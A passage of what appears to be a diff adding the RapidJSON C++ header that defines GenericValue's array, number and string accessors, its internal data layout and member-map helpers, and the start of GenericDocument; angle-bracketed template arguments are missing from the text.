value itself for fluent API. + \note If the number of elements to be appended is known, calls Reserve() once first may be more efficient. + \note Amortized constant time complexity. + \see GenericStringRef + */ + GenericValue& PushBack(StringRefType value, Allocator& allocator) { + return (*this).template PushBack(value, allocator); + } + + //! Append a primitive value at the end of the array. + /*! \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t + \param value Value of primitive type T to be appended. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \pre IsArray() == true + \return The value itself for fluent API. + \note If the number of elements to be appended is known, calls Reserve() once first may be more efficient. + + \note The source type \c T explicitly disallows all pointer types, + especially (\c const) \ref Ch*. This helps avoiding implicitly + referencing character strings with insufficient lifetime, use + \ref PushBack(GenericValue&, Allocator&) or \ref + PushBack(StringRefType, Allocator&). + All other pointer types would implicitly convert to \c bool, + use an explicit cast instead, if needed. + \note Amortized constant time complexity. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (GenericValue&)) + PushBack(T value, Allocator& allocator) { + GenericValue v(value); + return PushBack(v, allocator); + } + + //! Remove the last element in the array. + /*! + \note Constant time complexity. + */ + GenericValue& PopBack() { + RAPIDJSON_ASSERT(IsArray()); + RAPIDJSON_ASSERT(!Empty()); + GetElementsPointer()[--data_.a.size].~GenericValue(); + return *this; + } + + //! Remove an element of array by iterator. + /*! + \param pos iterator to the element to remove + \pre IsArray() == true && \ref Begin() <= \c pos < \ref End() + \return Iterator following the removed element. If the iterator pos refers to the last element, the End() iterator is returned. + \note Linear time complexity. + */ + ValueIterator Erase(ConstValueIterator pos) { + return Erase(pos, pos + 1); + } + + //! Remove elements in the range [first, last) of the array. + /*! + \param first iterator to the first element to remove + \param last iterator following the last element to remove + \pre IsArray() == true && \ref Begin() <= \c first <= \c last <= \ref End() + \return Iterator following the last removed element. + \note Linear time complexity. + */ + ValueIterator Erase(ConstValueIterator first, ConstValueIterator last) { + RAPIDJSON_ASSERT(IsArray()); + RAPIDJSON_ASSERT(data_.a.size > 0); + RAPIDJSON_ASSERT(GetElementsPointer() != 0); + RAPIDJSON_ASSERT(first >= Begin()); + RAPIDJSON_ASSERT(first <= last); + RAPIDJSON_ASSERT(last <= End()); + ValueIterator pos = Begin() + (first - Begin()); + for (ValueIterator itr = pos; itr != last; ++itr) + itr->~GenericValue(); + std::memmove(static_cast(pos), last, static_cast(End() - last) * sizeof(GenericValue)); + data_.a.size -= static_cast(last - first); + return pos; + } + + Array GetArray() { RAPIDJSON_ASSERT(IsArray()); return Array(*this); } + ConstArray GetArray() const { RAPIDJSON_ASSERT(IsArray()); return ConstArray(*this); } + + //@} + + //!@name Number + //@{ + + int GetInt() const { RAPIDJSON_ASSERT(data_.f.flags & kIntFlag); return data_.n.i.i; } + unsigned GetUint() const { RAPIDJSON_ASSERT(data_.f.flags & kUintFlag); return data_.n.u.u; } + int64_t GetInt64() const { RAPIDJSON_ASSERT(data_.f.flags & kInt64Flag); return data_.n.i64; } + uint64_t GetUint64() const { RAPIDJSON_ASSERT(data_.f.flags & kUint64Flag); return data_.n.u64; } + + //! Get the value as double type. + /*! \note If the value is 64-bit integer type, it may lose precision. Use \c IsLosslessDouble() to check whether the converison is lossless. + */ + double GetDouble() const { + RAPIDJSON_ASSERT(IsNumber()); + if ((data_.f.flags & kDoubleFlag) != 0) return data_.n.d; // exact type, no conversion. + if ((data_.f.flags & kIntFlag) != 0) return data_.n.i.i; // int -> double + if ((data_.f.flags & kUintFlag) != 0) return data_.n.u.u; // unsigned -> double + if ((data_.f.flags & kInt64Flag) != 0) return static_cast(data_.n.i64); // int64_t -> double (may lose precision) + RAPIDJSON_ASSERT((data_.f.flags & kUint64Flag) != 0); return static_cast(data_.n.u64); // uint64_t -> double (may lose precision) + } + + //! Get the value as float type. + /*! \note If the value is 64-bit integer type, it may lose precision. Use \c IsLosslessFloat() to check whether the converison is lossless. + */ + float GetFloat() const { + return static_cast(GetDouble()); + } + + GenericValue& SetInt(int i) { this->~GenericValue(); new (this) GenericValue(i); return *this; } + GenericValue& SetUint(unsigned u) { this->~GenericValue(); new (this) GenericValue(u); return *this; } + GenericValue& SetInt64(int64_t i64) { this->~GenericValue(); new (this) GenericValue(i64); return *this; } + GenericValue& SetUint64(uint64_t u64) { this->~GenericValue(); new (this) GenericValue(u64); return *this; } + GenericValue& SetDouble(double d) { this->~GenericValue(); new (this) GenericValue(d); return *this; } + GenericValue& SetFloat(float f) { this->~GenericValue(); new (this) GenericValue(static_cast(f)); return *this; } + + //@} + + //!@name String + //@{ + + const Ch* GetString() const { RAPIDJSON_ASSERT(IsString()); return DataString(data_); } + + //! Get the length of string. + /*! Since rapidjson permits "\\u0000" in the json string, strlen(v.GetString()) may not equal to v.GetStringLength(). + */ + SizeType GetStringLength() const { RAPIDJSON_ASSERT(IsString()); return DataStringLength(data_); } + + //! Set this value as a string without copying source string. + /*! This version has better performance with supplied length, and also support string containing null character. + \param s source string pointer. + \param length The length of source string, excluding the trailing null terminator. + \return The value itself for fluent API. + \post IsString() == true && GetString() == s && GetStringLength() == length + \see SetString(StringRefType) + */ + GenericValue& SetString(const Ch* s, SizeType length) { return SetString(StringRef(s, length)); } + + //! Set this value as a string without copying source string. + /*! \param s source string reference + \return The value itself for fluent API. + \post IsString() == true && GetString() == s && GetStringLength() == s.length + */ + GenericValue& SetString(StringRefType s) { this->~GenericValue(); SetStringRaw(s); return *this; } + + //! Set this value as a string by copying from source string. + /*! This version has better performance with supplied length, and also support string containing null character. + \param s source string. + \param length The length of source string, excluding the trailing null terminator. + \param allocator Allocator for allocating copied buffer. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \post IsString() == true && GetString() != s && strcmp(GetString(),s) == 0 && GetStringLength() == length + */ + GenericValue& SetString(const Ch* s, SizeType length, Allocator& allocator) { return SetString(StringRef(s, length), allocator); } + + //! Set this value as a string by copying from source string. + /*! \param s source string. + \param allocator Allocator for allocating copied buffer. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \post IsString() == true && GetString() != s && strcmp(GetString(),s) == 0 && GetStringLength() == length + */ + GenericValue& SetString(const Ch* s, Allocator& allocator) { return SetString(StringRef(s), allocator); } + + //! Set this value as a string by copying from source string. + /*! \param s source string reference + \param allocator Allocator for allocating copied buffer. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \post IsString() == true && GetString() != s.s && strcmp(GetString(),s) == 0 && GetStringLength() == length + */ + GenericValue& SetString(StringRefType s, Allocator& allocator) { this->~GenericValue(); SetStringRaw(s, allocator); return *this; } + +#if RAPIDJSON_HAS_STDSTRING + //! Set this value as a string by copying from source string. + /*! \param s source string. + \param allocator Allocator for allocating copied buffer. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \post IsString() == true && GetString() != s.data() && strcmp(GetString(),s.data() == 0 && GetStringLength() == s.size() + \note Requires the definition of the preprocessor symbol \ref RAPIDJSON_HAS_STDSTRING. + */ + GenericValue& SetString(const std::basic_string& s, Allocator& allocator) { return SetString(StringRef(s), allocator); } +#endif + + //@} + + //!@name Array + //@{ + + //! Templated version for checking whether this value is type T. + /*! + \tparam T Either \c bool, \c int, \c unsigned, \c int64_t, \c uint64_t, \c double, \c float, \c const \c char*, \c std::basic_string + */ + template + bool Is() const { return internal::TypeHelper::Is(*this); } + + template + T Get() const { return internal::TypeHelper::Get(*this); } + + template + T Get() { return internal::TypeHelper::Get(*this); } + + template + ValueType& Set(const T& data) { return internal::TypeHelper::Set(*this, data); } + + template + ValueType& Set(const T& data, AllocatorType& allocator) { return internal::TypeHelper::Set(*this, data, allocator); } + + //@} + + //! Generate events of this value to a Handler. + /*! This function adopts the GoF visitor pattern. + Typical usage is to output this JSON value as JSON text via Writer, which is a Handler. + It can also be used to deep clone this value via GenericDocument, which is also a Handler. + \tparam Handler type of handler. + \param handler An object implementing concept Handler. + */ + template + bool Accept(Handler& handler) const { + switch(GetType()) { + case kNullType: return handler.Null(); + case kFalseType: return handler.Bool(false); + case kTrueType: return handler.Bool(true); + + case kObjectType: + if (RAPIDJSON_UNLIKELY(!handler.StartObject())) + return false; + for (ConstMemberIterator m = MemberBegin(); m != MemberEnd(); ++m) { + RAPIDJSON_ASSERT(m->name.IsString()); // User may change the type of name by MemberIterator. + if (RAPIDJSON_UNLIKELY(!handler.Key(m->name.GetString(), m->name.GetStringLength(), (m->name.data_.f.flags & kCopyFlag) != 0))) + return false; + if (RAPIDJSON_UNLIKELY(!m->value.Accept(handler))) + return false; + } + return handler.EndObject(data_.o.size); + + case kArrayType: + if (RAPIDJSON_UNLIKELY(!handler.StartArray())) + return false; + for (ConstValueIterator v = Begin(); v != End(); ++v) + if (RAPIDJSON_UNLIKELY(!v->Accept(handler))) + return false; + return handler.EndArray(data_.a.size); + + case kStringType: + return handler.String(GetString(), GetStringLength(), (data_.f.flags & kCopyFlag) != 0); + + default: + RAPIDJSON_ASSERT(GetType() == kNumberType); + if (IsDouble()) return handler.Double(data_.n.d); + else if (IsInt()) return handler.Int(data_.n.i.i); + else if (IsUint()) return handler.Uint(data_.n.u.u); + else if (IsInt64()) return handler.Int64(data_.n.i64); + else return handler.Uint64(data_.n.u64); + } + } + +private: + template friend class GenericValue; + template friend class GenericDocument; + + enum { + kBoolFlag = 0x0008, + kNumberFlag = 0x0010, + kIntFlag = 0x0020, + kUintFlag = 0x0040, + kInt64Flag = 0x0080, + kUint64Flag = 0x0100, + kDoubleFlag = 0x0200, + kStringFlag = 0x0400, + kCopyFlag = 0x0800, + kInlineStrFlag = 0x1000, + + // Initial flags of different types. + kNullFlag = kNullType, + // These casts are added to suppress the warning on MSVC about bitwise operations between enums of different types. + kTrueFlag = static_cast(kTrueType) | static_cast(kBoolFlag), + kFalseFlag = static_cast(kFalseType) | static_cast(kBoolFlag), + kNumberIntFlag = static_cast(kNumberType) | static_cast(kNumberFlag | kIntFlag | kInt64Flag), + kNumberUintFlag = static_cast(kNumberType) | static_cast(kNumberFlag | kUintFlag | kUint64Flag | kInt64Flag), + kNumberInt64Flag = static_cast(kNumberType) | static_cast(kNumberFlag | kInt64Flag), + kNumberUint64Flag = static_cast(kNumberType) | static_cast(kNumberFlag | kUint64Flag), + kNumberDoubleFlag = static_cast(kNumberType) | static_cast(kNumberFlag | kDoubleFlag), + kNumberAnyFlag = static_cast(kNumberType) | static_cast(kNumberFlag | kIntFlag | kInt64Flag | kUintFlag | kUint64Flag | kDoubleFlag), + kConstStringFlag = static_cast(kStringType) | static_cast(kStringFlag), + kCopyStringFlag = static_cast(kStringType) | static_cast(kStringFlag | kCopyFlag), + kShortStringFlag = static_cast(kStringType) | static_cast(kStringFlag | kCopyFlag | kInlineStrFlag), + kObjectFlag = kObjectType, + kArrayFlag = kArrayType, + + kTypeMask = 0x07 + }; + + static const SizeType kDefaultArrayCapacity = RAPIDJSON_VALUE_DEFAULT_ARRAY_CAPACITY; + static const SizeType kDefaultObjectCapacity = RAPIDJSON_VALUE_DEFAULT_OBJECT_CAPACITY; + + struct Flag { +#if RAPIDJSON_48BITPOINTER_OPTIMIZATION + char payload[sizeof(SizeType) * 2 + 6]; // 2 x SizeType + lower 48-bit pointer +#elif RAPIDJSON_64BIT + char payload[sizeof(SizeType) * 2 + sizeof(void*) + 6]; // 6 padding bytes +#else + char payload[sizeof(SizeType) * 2 + sizeof(void*) + 2]; // 2 padding bytes +#endif + uint16_t flags; + }; + + struct String { + SizeType length; + SizeType hashcode; //!< reserved + const Ch* str; + }; // 12 bytes in 32-bit mode, 16 bytes in 64-bit mode + + // implementation detail: ShortString can represent zero-terminated strings up to MaxSize chars + // (excluding the terminating zero) and store a value to determine the length of the contained + // string in the last character str[LenPos] by storing "MaxSize - length" there. If the string + // to store has the maximal length of MaxSize then str[LenPos] will be 0 and therefore act as + // the string terminator as well. For getting the string length back from that value just use + // "MaxSize - str[LenPos]". + // This allows to store 13-chars strings in 32-bit mode, 21-chars strings in 64-bit mode, + // 13-chars strings for RAPIDJSON_48BITPOINTER_OPTIMIZATION=1 inline (for `UTF8`-encoded strings). + struct ShortString { + enum { MaxChars = sizeof(static_cast(0)->payload) / sizeof(Ch), MaxSize = MaxChars - 1, LenPos = MaxSize }; + Ch str[MaxChars]; + + inline static bool Usable(SizeType len) { return (MaxSize >= len); } + inline void SetLength(SizeType len) { str[LenPos] = static_cast(MaxSize - len); } + inline SizeType GetLength() const { return static_cast(MaxSize - str[LenPos]); } + }; // at most as many bytes as "String" above => 12 bytes in 32-bit mode, 16 bytes in 64-bit mode + + // By using proper binary layout, retrieval of different integer types do not need conversions. + union Number { +#if RAPIDJSON_ENDIAN == RAPIDJSON_LITTLEENDIAN + struct I { + int i; + char padding[4]; + }i; + struct U { + unsigned u; + char padding2[4]; + }u; +#else + struct I { + char padding[4]; + int i; + }i; + struct U { + char padding2[4]; + unsigned u; + }u; +#endif + int64_t i64; + uint64_t u64; + double d; + }; // 8 bytes + + struct ObjectData { + SizeType size; + SizeType capacity; + Member* members; + }; // 12 bytes in 32-bit mode, 16 bytes in 64-bit mode + + struct ArrayData { + SizeType size; + SizeType capacity; + GenericValue* elements; + }; // 12 bytes in 32-bit mode, 16 bytes in 64-bit mode + + union Data { + String s; + ShortString ss; + Number n; + ObjectData o; + ArrayData a; + Flag f; + }; // 16 bytes in 32-bit mode, 24 bytes in 64-bit mode, 16 bytes in 64-bit with RAPIDJSON_48BITPOINTER_OPTIMIZATION + + static RAPIDJSON_FORCEINLINE const Ch* DataString(const Data& data) { + return (data.f.flags & kInlineStrFlag) ? data.ss.str : RAPIDJSON_GETPOINTER(Ch, data.s.str); + } + static RAPIDJSON_FORCEINLINE SizeType DataStringLength(const Data& data) { + return (data.f.flags & kInlineStrFlag) ? data.ss.GetLength() : data.s.length; + } + + RAPIDJSON_FORCEINLINE const Ch* GetStringPointer() const { return RAPIDJSON_GETPOINTER(Ch, data_.s.str); } + RAPIDJSON_FORCEINLINE const Ch* SetStringPointer(const Ch* str) { return RAPIDJSON_SETPOINTER(Ch, data_.s.str, str); } + RAPIDJSON_FORCEINLINE GenericValue* GetElementsPointer() const { return RAPIDJSON_GETPOINTER(GenericValue, data_.a.elements); } + RAPIDJSON_FORCEINLINE GenericValue* SetElementsPointer(GenericValue* elements) { return RAPIDJSON_SETPOINTER(GenericValue, data_.a.elements, elements); } + RAPIDJSON_FORCEINLINE Member* GetMembersPointer() const { return RAPIDJSON_GETPOINTER(Member, data_.o.members); } + RAPIDJSON_FORCEINLINE Member* SetMembersPointer(Member* members) { return RAPIDJSON_SETPOINTER(Member, data_.o.members, members); } + +#if RAPIDJSON_USE_MEMBERSMAP + + struct MapTraits { + struct Less { + bool operator()(const Data& s1, const Data& s2) const { + SizeType n1 = DataStringLength(s1), n2 = DataStringLength(s2); + int cmp = std::memcmp(DataString(s1), DataString(s2), sizeof(Ch) * (n1 < n2 ? n1 : n2)); + return cmp < 0 || (cmp == 0 && n1 < n2); + } + }; + typedef std::pair Pair; + typedef std::multimap > Map; + typedef typename Map::iterator Iterator; + }; + typedef typename MapTraits::Map Map; + typedef typename MapTraits::Less MapLess; + typedef typename MapTraits::Pair MapPair; + typedef typename MapTraits::Iterator MapIterator; + + // + // Layout of the members' map/array, re(al)located according to the needed capacity: + // + // {Map*}<>{capacity}<>{Member[capacity]}<>{MapIterator[capacity]} + // + // (where <> stands for the RAPIDJSON_ALIGN-ment, if needed) + // + + static RAPIDJSON_FORCEINLINE size_t GetMapLayoutSize(SizeType capacity) { + return RAPIDJSON_ALIGN(sizeof(Map*)) + + RAPIDJSON_ALIGN(sizeof(SizeType)) + + RAPIDJSON_ALIGN(capacity * sizeof(Member)) + + capacity * sizeof(MapIterator); + } + + static RAPIDJSON_FORCEINLINE SizeType &GetMapCapacity(Map* &map) { + return *reinterpret_cast(reinterpret_cast(&map) + + RAPIDJSON_ALIGN(sizeof(Map*))); + } + + static RAPIDJSON_FORCEINLINE Member* GetMapMembers(Map* &map) { + return reinterpret_cast(reinterpret_cast(&map) + + RAPIDJSON_ALIGN(sizeof(Map*)) + + RAPIDJSON_ALIGN(sizeof(SizeType))); + } + + static RAPIDJSON_FORCEINLINE MapIterator* GetMapIterators(Map* &map) { + return reinterpret_cast(reinterpret_cast(&map) + + RAPIDJSON_ALIGN(sizeof(Map*)) + + RAPIDJSON_ALIGN(sizeof(SizeType)) + + RAPIDJSON_ALIGN(GetMapCapacity(map) * sizeof(Member))); + } + + static RAPIDJSON_FORCEINLINE Map* &GetMap(Member* members) { + RAPIDJSON_ASSERT(members != 0); + return *reinterpret_cast(reinterpret_cast(members) - + RAPIDJSON_ALIGN(sizeof(SizeType)) - + RAPIDJSON_ALIGN(sizeof(Map*))); + } + + // Some compilers' debug mechanisms want all iterators to be destroyed, for their accounting.. + RAPIDJSON_FORCEINLINE MapIterator DropMapIterator(MapIterator& rhs) { +#if RAPIDJSON_HAS_CXX11 + MapIterator ret = std::move(rhs); +#else + MapIterator ret = rhs; +#endif + rhs.~MapIterator(); + return ret; + } + + Map* &DoReallocMap(Map** oldMap, SizeType newCapacity, Allocator& allocator) { + Map **newMap = static_cast(allocator.Malloc(GetMapLayoutSize(newCapacity))); + GetMapCapacity(*newMap) = newCapacity; + if (!oldMap) { + *newMap = new (allocator.Malloc(sizeof(Map))) Map(MapLess(), allocator); + } + else { + *newMap = *oldMap; + size_t count = (*oldMap)->size(); + std::memcpy(static_cast(GetMapMembers(*newMap)), + static_cast(GetMapMembers(*oldMap)), + count * sizeof(Member)); + MapIterator *oldIt = GetMapIterators(*oldMap), + *newIt = GetMapIterators(*newMap); + while (count--) { + new (&newIt[count]) MapIterator(DropMapIterator(oldIt[count])); + } + Allocator::Free(oldMap); + } + return *newMap; + } + + RAPIDJSON_FORCEINLINE Member* DoAllocMembers(SizeType capacity, Allocator& allocator) { + return GetMapMembers(DoReallocMap(0, capacity, allocator)); + } + + void DoReserveMembers(SizeType newCapacity, Allocator& allocator) { + ObjectData& o = data_.o; + if (newCapacity > o.capacity) { + Member* oldMembers = GetMembersPointer(); + Map **oldMap = oldMembers ? &GetMap(oldMembers) : 0, + *&newMap = DoReallocMap(oldMap, newCapacity, allocator); + RAPIDJSON_SETPOINTER(Member, o.members, GetMapMembers(newMap)); + o.capacity = newCapacity; + } + } + + template + MemberIterator DoFindMember(const GenericValue& name) { + if (Member* members = GetMembersPointer()) { + Map* &map = GetMap(members); + MapIterator mit = map->find(reinterpret_cast(name.data_)); + if (mit != map->end()) { + return MemberIterator(&members[mit->second]); + } + } + return MemberEnd(); + } + + void DoClearMembers() { + if (Member* members = GetMembersPointer()) { + Map* &map = GetMap(members); + MapIterator* mit = GetMapIterators(map); + for (SizeType i = 0; i < data_.o.size; i++) { + map->erase(DropMapIterator(mit[i])); + members[i].~Member(); + } + data_.o.size = 0; + } + } + + void DoFreeMembers() { + if (Member* members = GetMembersPointer()) { + GetMap(members)->~Map(); + for (SizeType i = 0; i < data_.o.size; i++) { + members[i].~Member(); + } + if (Allocator::kNeedFree) { // Shortcut by Allocator's trait + Map** map = &GetMap(members); + Allocator::Free(*map); + Allocator::Free(map); + } + } + } + +#else // !RAPIDJSON_USE_MEMBERSMAP + + RAPIDJSON_FORCEINLINE Member* DoAllocMembers(SizeType capacity, Allocator& allocator) { + return Malloc(allocator, capacity); + } + + void DoReserveMembers(SizeType newCapacity, Allocator& allocator) { + ObjectData& o = data_.o; + if (newCapacity > o.capacity) { + Member* newMembers = Realloc(allocator, GetMembersPointer(), o.capacity, newCapacity); + RAPIDJSON_SETPOINTER(Member, o.members, newMembers); + o.capacity = newCapacity; + } + } + + template + MemberIterator DoFindMember(const GenericValue& name) { + MemberIterator member = MemberBegin(); + for ( ; member != MemberEnd(); ++member) + if (name.StringEqual(member->name)) + break; + return member; + } + + void DoClearMembers() { + for (MemberIterator m = MemberBegin(); m != MemberEnd(); ++m) + m->~Member(); + data_.o.size = 0; + } + + void DoFreeMembers() { + for (MemberIterator m = MemberBegin(); m != MemberEnd(); ++m) + m->~Member(); + Allocator::Free(GetMembersPointer()); + } + +#endif // !RAPIDJSON_USE_MEMBERSMAP + + void DoAddMember(GenericValue& name, GenericValue& value, Allocator& allocator) { + ObjectData& o = data_.o; + if (o.size >= o.capacity) + DoReserveMembers(o.capacity ? (o.capacity + (o.capacity + 1) / 2) : kDefaultObjectCapacity, allocator); + Member* members = GetMembersPointer(); + Member* m = members + o.size; + m->name.RawAssign(name); + m->value.RawAssign(value); +#if RAPIDJSON_USE_MEMBERSMAP + Map* &map = GetMap(members); + MapIterator* mit = GetMapIterators(map); + new (&mit[o.size]) MapIterator(map->insert(MapPair(m->name.data_, o.size))); +#endif + ++o.size; + } + + MemberIterator DoRemoveMember(MemberIterator m) { + ObjectData& o = data_.o; + Member* members = GetMembersPointer(); +#if RAPIDJSON_USE_MEMBERSMAP + Map* &map = GetMap(members); + MapIterator* mit = GetMapIterators(map); + SizeType mpos = static_cast(&*m - members); + map->erase(DropMapIterator(mit[mpos])); +#endif + MemberIterator last(members + (o.size - 1)); + if (o.size > 1 && m != last) { +#if RAPIDJSON_USE_MEMBERSMAP + new (&mit[mpos]) MapIterator(DropMapIterator(mit[&*last - members])); + mit[mpos]->second = mpos; +#endif + *m = *last; // Move the last one to this place + } + else { + m->~Member(); // Only one left, just destroy + } + --o.size; + return m; + } + + MemberIterator DoEraseMembers(ConstMemberIterator first, ConstMemberIterator last) { + ObjectData& o = data_.o; + MemberIterator beg = MemberBegin(), + pos = beg + (first - beg), + end = MemberEnd(); +#if RAPIDJSON_USE_MEMBERSMAP + Map* &map = GetMap(GetMembersPointer()); + MapIterator* mit = GetMapIterators(map); +#endif + for (MemberIterator itr = pos; itr != last; ++itr) { +#if RAPIDJSON_USE_MEMBERSMAP + map->erase(DropMapIterator(mit[itr - beg])); +#endif + itr->~Member(); + } +#if RAPIDJSON_USE_MEMBERSMAP + if (first != last) { + // Move remaining members/iterators + MemberIterator next = pos + (last - first); + for (MemberIterator itr = pos; next != end; ++itr, ++next) { + std::memcpy(static_cast(&*itr), &*next, sizeof(Member)); + SizeType mpos = static_cast(itr - beg); + new (&mit[mpos]) MapIterator(DropMapIterator(mit[next - beg])); + mit[mpos]->second = mpos; + } + } +#else + std::memmove(static_cast(&*pos), &*last, + static_cast(end - last) * sizeof(Member)); +#endif + o.size -= static_cast(last - first); + return pos; + } + + template + void DoCopyMembers(const GenericValue& rhs, Allocator& allocator, bool copyConstStrings) { + RAPIDJSON_ASSERT(rhs.GetType() == kObjectType); + + data_.f.flags = kObjectFlag; + SizeType count = rhs.data_.o.size; + Member* lm = DoAllocMembers(count, allocator); + const typename GenericValue::Member* rm = rhs.GetMembersPointer(); +#if RAPIDJSON_USE_MEMBERSMAP + Map* &map = GetMap(lm); + MapIterator* mit = GetMapIterators(map); +#endif + for (SizeType i = 0; i < count; i++) { + new (&lm[i].name) GenericValue(rm[i].name, allocator, copyConstStrings); + new (&lm[i].value) GenericValue(rm[i].value, allocator, copyConstStrings); +#if RAPIDJSON_USE_MEMBERSMAP + new (&mit[i]) MapIterator(map->insert(MapPair(lm[i].name.data_, i))); +#endif + } + data_.o.size = data_.o.capacity = count; + SetMembersPointer(lm); + } + + // Initialize this value as array with initial data, without calling destructor. + void SetArrayRaw(GenericValue* values, SizeType count, Allocator& allocator) { + data_.f.flags = kArrayFlag; + if (count) { + GenericValue* e = static_cast(allocator.Malloc(count * sizeof(GenericValue))); + SetElementsPointer(e); + std::memcpy(static_cast(e), values, count * sizeof(GenericValue)); + } + else + SetElementsPointer(0); + data_.a.size = data_.a.capacity = count; + } + + //! Initialize this value as object with initial data, without calling destructor. + void SetObjectRaw(Member* members, SizeType count, Allocator& allocator) { + data_.f.flags = kObjectFlag; + if (count) { + Member* m = DoAllocMembers(count, allocator); + SetMembersPointer(m); + std::memcpy(static_cast(m), members, count * sizeof(Member)); +#if RAPIDJSON_USE_MEMBERSMAP + Map* &map = GetMap(m); + MapIterator* mit = GetMapIterators(map); + for (SizeType i = 0; i < count; i++) { + new (&mit[i]) MapIterator(map->insert(MapPair(m[i].name.data_, i))); + } +#endif + } + else + SetMembersPointer(0); + data_.o.size = data_.o.capacity = count; + } + + //! Initialize this value as constant string, without calling destructor. + void SetStringRaw(StringRefType s) RAPIDJSON_NOEXCEPT { + data_.f.flags = kConstStringFlag; + SetStringPointer(s); + data_.s.length = s.length; + } + + //! Initialize this value as copy string with initial data, without calling destructor. + void SetStringRaw(StringRefType s, Allocator& allocator) { + Ch* str = 0; + if (ShortString::Usable(s.length)) { + data_.f.flags = kShortStringFlag; + data_.ss.SetLength(s.length); + str = data_.ss.str; + } else { + data_.f.flags = kCopyStringFlag; + data_.s.length = s.length; + str = static_cast(allocator.Malloc((s.length + 1) * sizeof(Ch))); + SetStringPointer(str); + } + std::memcpy(str, s, s.length * sizeof(Ch)); + str[s.length] = '\0'; + } + + //! Assignment without calling destructor + void RawAssign(GenericValue& rhs) RAPIDJSON_NOEXCEPT { + data_ = rhs.data_; + // data_.f.flags = rhs.data_.f.flags; + rhs.data_.f.flags = kNullFlag; + } + + template + bool StringEqual(const GenericValue& rhs) const { + RAPIDJSON_ASSERT(IsString()); + RAPIDJSON_ASSERT(rhs.IsString()); + + const SizeType len1 = GetStringLength(); + const SizeType len2 = rhs.GetStringLength(); + if(len1 != len2) { return false; } + + const Ch* const str1 = GetString(); + const Ch* const str2 = rhs.GetString(); + if(str1 == str2) { return true; } // fast path for constant string + + return (std::memcmp(str1, str2, sizeof(Ch) * len1) == 0); + } + + Data data_; +}; + +//! GenericValue with UTF8 encoding +typedef GenericValue > Value; + +/////////////////////////////////////////////////////////////////////////////// +// GenericDocument + +//! A document for parsing JSON text as DOM. +/*! + \note implements Handler concept + \tparam Encoding Encoding for both parsing and string storage. + \tparam Allocator Allocator for allocating memory for the DOM + \tparam StackAllocator Allocator for allocating memory for stack during parsing. + \warning Although GenericDocument inherits from GenericValue, the API does \b not provide any virtual functions, especially no virtual destructor. To avoid memory leaks, do not \c delete a GenericDocument object via a pointer to a GenericValue. +*/ +template +class GenericDocument : public GenericValue { +public: + typedef typename Encoding::Ch Ch; //!< Character type derived from Encoding. + typedef GenericValue ValueType; //!< Value type of the document. + typedef Allocator AllocatorType; //!< Allocator type from template parameter. + typedef StackAllocator StackAllocatorType; //!< StackAllocator type from template parameter. + + //! Constructor + /*! Creates an empty document of specified type. + \param type Mandatory type of object to create. + \param allocator Optional allocator for allocating memory. + \param stackCapacity Optional initial capacity of stack in bytes. + \param stackAllocator Optional allocator for allocating memory for stack. + */ + explicit GenericDocument(Type type, Allocator* allocator = 0, size_t stackCapacity = kDefaultStackCapacity, StackAllocator* stackAllocator = 0) : + GenericValue(type), allocator_(allocator), ownAllocator_(0), stack_(stackAllocator, stackCapacity), parseResult_() + { + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + } + + //! Constructor + /*! Creates an empty document which type is Null. + \param allocator Optional allocator for allocating memory. + \param stackCapacity Optional initial capacity of stack in bytes. + \param stackAllocator Optional allocator for allocating memory for stack. + */ + GenericDocument(Allocator* allocator = 0, size_t stackCapacity = kDefaultStackCapacity, StackAllocator* stackAllocator = 0) : + allocator_(allocator), ownAllocator_(0), stack_(stackAllocator, stackCapacity), parseResult_() + { + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move constructor in C++11 + GenericDocument(GenericDocument&& rhs) RAPIDJSON_NOEXCEPT + : ValueType(std::forward(rhs)), // explicit cast to avoid prohibited move from Document + allocator_(rhs.allocator_), + ownAllocator_(rhs.ownAllocator_), + stack_(std::move(rhs.stack_)), + parseResult_(rhs.parseResult_) + { + rhs.allocator_ = 0; + rhs.ownAllocator_ = 0; + rhs.parseResult_ = ParseResult(); + } +#endif + + ~GenericDocument() { + // Clear the ::ValueType before ownAllocator is destroyed, ~ValueType() + // runs last and may access its elements or members which would be freed + // with an allocator like MemoryPoolAllocator (CrtAllocator does not + // free its data when destroyed, but MemoryPoolAllocator does). + if (ownAllocator_) { + ValueType::SetNull(); + } + Destroy(); + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move assignment in C++11 + GenericDocument& operator=(GenericDocument&& rhs) RAPIDJSON_NOEXCEPT + { + // The cast to ValueType is necessary here, because otherwise it would + // attempt to call GenericValue's templated assignment operator. + ValueType::operator=(std::forward(rhs)); + + // Calling the destructor here would prematurely call stack_'s destructor + Destroy(); + + allocator_ = rhs.allocator_; + ownAllocator_ = rhs.ownAllocator_; + stack_ = std::move(rhs.stack_); + parseResult_ = rhs.parseResult_; + + rhs.allocator_ = 0; + rhs.ownAllocator_ = 0; + rhs.parseResult_ = ParseResult(); + + return *this; + } +#endif + + //! Exchange the contents of this document with those of another. + /*! + \param rhs Another document. + \note Constant complexity. + \see GenericValue::Swap + */ + GenericDocument& Swap(GenericDocument& rhs) RAPIDJSON_NOEXCEPT { + ValueType::Swap(rhs); + stack_.Swap(rhs.stack_); + internal::Swap(allocator_, rhs.allocator_); + internal::Swap(ownAllocator_, rhs.ownAllocator_); + internal::Swap(parseResult_, rhs.parseResult_); + return *this; + } + + // Allow Swap with ValueType. + // Refer to Effective C++ 3rd Edition/Item 33: Avoid hiding inherited names. + using ValueType::Swap; + + //! free-standing swap function helper + /*! + Helper function to enable support for common swap implementation pattern based on \c std::swap: + \code + void swap(MyClass& a, MyClass& b) { + using std::swap; + swap(a.doc, b.doc); + // ... + } + \endcode + \see Swap() + */ + friend inline void swap(GenericDocument& a, GenericDocument& b) RAPIDJSON_NOEXCEPT { a.Swap(b); } + + //! Populate this document by a generator 